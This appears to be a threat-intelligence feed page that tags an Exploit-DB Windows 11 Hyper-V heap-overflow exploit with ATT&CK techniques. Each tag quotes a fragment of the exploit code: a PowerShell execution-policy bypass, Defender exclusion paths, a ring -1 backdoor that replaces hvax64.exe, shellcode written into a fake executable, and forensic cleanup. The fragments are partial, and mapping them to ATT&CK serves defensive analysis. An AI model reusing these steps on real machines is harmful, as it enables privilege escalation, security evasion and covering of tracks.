TTPwire Vol. 1 · MITRE ATT&CK·Tagged

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Exploit-DB

[local] Windows 11 25H2 - Heap Overflow

6 days ago · Read original ↗

ATT&CK techniques detected

18 predictions
T1059.001PowerShell
99%
“: f. write ( ps _ script ) result = subprocess. run ( [ " powershell ", " - executionpolicy ", " bypass ", " - file ", " _ trigger. ps1 " ], capture _ output = true, text = true ) print ( result. stdout ) if " permission " in result. stdout. lower ( ) : return false return true #…”
T1068Exploitation for Privilege Escalation
94%
“allocation. the vulnerability allows a local user with hyper - v administrator privileges to execute code at hyper - v context ( ring - 1 capable ) by mounting a specially crafted. vhdx file containing a malformed bat ( block allocation table ) entry. critical finding : = = = = =…”
T1068Exploitation for Privilege Escalation
93%
“nessus has not tested for these issues but has instead relied only on the application ' s self - reported version number. " conclusion : microsoft lied about cve - 2026 - 21248 privileges. the vulnerability requires hyper - v administrator ( pr : l ), not pr : n. patch trust mode…”
T1068Exploitation for Privilege Escalation
92%
“##mer : this exploit is for authorized security research and # educational purposes only. use only on systems you own or have # explicit permission to test. # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =…”
T1059.001PowerShell
90%
“- v - vmms / admin " ], capture _ output = true ) subprocess. run ( [ " powershell ", " add - mppreference ", " - exclusionpath ", win _ ini _ path ], capture _ output = true ) subprocess. run ( [ " powershell ", " add - mppreference ", " - exclusionpath ", hvax _ path ], capture…”
T1190Exploit Public-Facing Application
86%
“true ) if " running " in result. stdout or " stopped " in result. stdout : return true return false except : return false # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = # phase 1 : vhdx t…”
T1059.001PowerShell
83%
“= # phase 5 : telemetry killer ( admin ) # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = def kill _ telemetry ( ) : " " " disables microsoft telemetry and diagnostics. " " " if not is _ ad…”
T1068Exploitation for Privilege Escalation
80%
“uuid4 ( ). hex [ : 8 ] }. vhdx " with open ( filename, " wb " ) as f : f. write ( vhdx _ data ) return filename # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = # phase 2 : trigger overflow…”
T1068Exploitation for Privilege Escalation
77%
“[ local ] windows 11 25h2 - heap overflow windows 11 25h2 - heap overflow # exploit title : windows 11 25h2 - heap overflow ghost patch exploit framework # date : 2026 - 02 - 13 # exploit author : nu11secur1ty # vendor homepage : https : / / www. microsoft. com # software link : …”
T1057Process Discovery
77%
“= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = def is _ admin ( ) : " " " check if process has administrator rights. " " " try : return ctypes. windll. shell32. isuseranadmin ( ) except : r…”
T1112Modify Registry
71%
“##reg. setvalueex ( key, " installdate ", 0, winreg. reg _ dword, int ( time. time ( ) ) ) winreg. setvalueex ( key, " provider ", 0, winreg. reg _ sz, " microsoft - windows - hyper - v " ) winreg. setvalueex ( key, " buildnumber ", 0, winreg. reg _ sz, " 26200. 7840 " ) winreg. …”
T1112Modify Registry
70%
“= # phase 5 : telemetry killer ( admin ) # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = def kill _ telemetry ( ) : " " " disables microsoft telemetry and diagnostics. " " " if not is _ ad…”
T1070.004File Deletion
66%
“= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = # phase 7 : forensic cleanup ( admin ) # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = def forensic _ cleanu…”
T1055.001Dynamic-link Library Injection
64%
“##64. exe ", " wb " ) as f : f. write ( b " mz \ x90 \ x00 " ) f. write ( b " pe \ x00 \ x00 \ x64 \ x86 " ) f. write ( struct. pack ( " < i ", int ( time. time ( ) ) ) ) f. write ( struct. pack ( " < i ", len ( shellcode ) ) ) f. write ( shellcode ) f. write ( b " \ x00 " * ( 10…”
T1543.003Windows Service
64%
“= = = = = = = = = = = = = = = = = = = def install _ ring _ minus1 _ backdoor ( ) : " " " replaces hvax64. exe with custom hypervisor payload. loads driver without reboot, achieving ring - 1 code execution. " " " if not is _ admin ( ) : print ( " [ - ] administrator privileges req…”
T1070Indicator Removal
62%
“= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = # phase 7 : forensic cleanup ( admin ) # = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = def forensic _ cleanu…”
T1068Exploitation for Privilege Escalation
49%
“= = = = = = = = = = = = = = = = = = = def install _ ring _ minus1 _ backdoor ( ) : " " " replaces hvax64. exe with custom hypervisor payload. loads driver without reboot, achieving ring - 1 code execution. " " " if not is _ admin ( ) : print ( " [ - ] administrator privileges req…”
T1190Exploit Public-Facing Application
34%
“( > max _ channel _ pages ) causes heap overflow in vulnerable builds. patched builds return status _ invalid _ parameter. " " " signature = f " " " ; = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ; cve - 2026 - 21248 pa…”

Summary

Windows 11 25H2 - Heap Overflow